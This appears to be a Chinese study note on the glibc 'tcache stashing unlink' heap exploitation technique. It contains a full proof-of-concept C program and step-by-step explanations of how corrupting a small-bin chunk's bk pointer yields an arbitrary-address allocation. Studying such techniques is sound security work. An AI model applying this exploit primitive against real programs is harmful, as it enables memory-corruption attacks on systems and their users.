# tcache_stashing_unlink_attack
# 实验代码
#include <stdio.h> | |
#include <stdlib.h> | |
#include <assert.h> | |
int main(){ | |
unsigned long stack_var[0x10] = {0}; | |
unsigned long *chunk_lis[0x10] = {0}; | |
unsigned long *target; | |
setbuf(stdout, NULL); | |
printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); | |
printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n"); | |
printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); | |
printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); | |
printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n"); | |
// stack_var emulate the fake_chunk we want to alloc to | |
printf("Stack_var emulates the fake chunk we want to alloc to.\n\n"); | |
printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n"); | |
stack_var[3] = (unsigned long)(&stack_var[2]); | |
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); | |
printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); | |
printf("Now we alloc 9 chunks with malloc.\n\n"); | |
//now we malloc 9 chunks | |
for(int i = 0;i < 9;i++){ | |
chunk_lis[i] = (unsigned long*)malloc(0x90); | |
} | |
//put 7 chunks into tcache | |
printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n"); | |
for(int i = 3;i < 9;i++){ | |
free(chunk_lis[i]); | |
} | |
printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n"); | |
//last tcache bin | |
free(chunk_lis[1]); | |
//now they are put into unsorted bin | |
free(chunk_lis[0]); | |
free(chunk_lis[2]); | |
//convert into small bin | |
printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n"); | |
malloc(0xa0);// size > 0x90 | |
//now 5 tcache bins | |
printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n"); | |
malloc(0x90); | |
malloc(0x90); | |
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var); | |
//change victim->bck | |
/*VULNERABILITY*/ | |
chunk_lis[2][1] = (unsigned long)stack_var; | |
/*VULNERABILITY*/ | |
//trigger the attack | |
printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n"); | |
calloc(1,0x90); | |
printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]); | |
//malloc and return our fake chunk on stack | |
target = malloc(0x90); | |
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target); | |
assert(target == &stack_var[2]); | |
return 0; | |
} |
# 攻击机制与目标
- 目标:实现在任意地址上创建一个堆
- 攻击机制:tcache bin 中有剩余(数量小于 TCACHE_MAX_BINS)时,同大小的 small bin 会放进 tcache 中,这种情况可以使用 calloc 分配同大小堆块触发,因为 calloc 分配堆块时不从 tcache bin 中选取。在获取到一个 smallbin 中的一个 chunk 后,如果 tcache 任由足够空闲位置,会将剩余的 smallbin 挂进 tcache 中,在这个过程中只对第一个 bin 进行了完整性检查,后面的堆块的检查缺失。当攻击者可以修改一个 small bin 的 bk 时,就可以实现在任意地址上写一个 libc 地址。引用 holk 的说明。(而要想将 chunk 不放入 tcache bin 中,需要先分配一个放入 unsorted bin 中的 chunk,然后分割) 这个 chunk 使得剩余的 chunk 符合大小要求进入 small chunk)
# step1
创建 9 个堆 (0-8),大小在 tcache bin 之内,然后释放 chunk1 和 chunk3-8,将对应的 tcache 填满,然后释放 chun0 和 chunk2,此时会放入 unsortedbins 中,又由于中间有一个 chunk1,所以不会造成 chunk0 和 chunk2 合并
for(int i = 0;i < 9;i++){ | |
chunk_lis[i] = (unsigned long*)malloc(0x90); | |
} | |
//put 7 chunks into tcache | |
for(int i = 3;i < 9;i++){ | |
free(chunk_lis[i]); | |
} | |
//last tcache bin | |
free(chunk_lis[1]); | |
//now they are put into unsorted bin | |
free(chunk_lis[0]); | |
free(chunk_lis[2]); |

# step2
创建一个大于上面 chunk 大小的堆,此时会从 topchunk 分配,而 unosrtedbins 中的 chunk 会进入 small bins 中
malloc(0xa0); |

# step3
将 tcache 的大小变为 5 个,使得后面的 smallbin 中的 chunk 可以进入 tcache
malloc(0x90); | |
malloc(0x90); |

# step4
利用 UAF 漏洞修改 chunk2 的 bk 指针为目标地址
chunk_lis[2][1] = (unsigned long)stack_var; |

# step5
利用 calloc 创建一个和一开始创建的堆的大小的堆,此时 chunk0 会被重新使用,而 chunk2 和目标地址会被分配到 tcache 的空位中,此时申请一个对应大小的 chunk 即可在目标地址获得一个 chunk
calloc(1,0x90); |
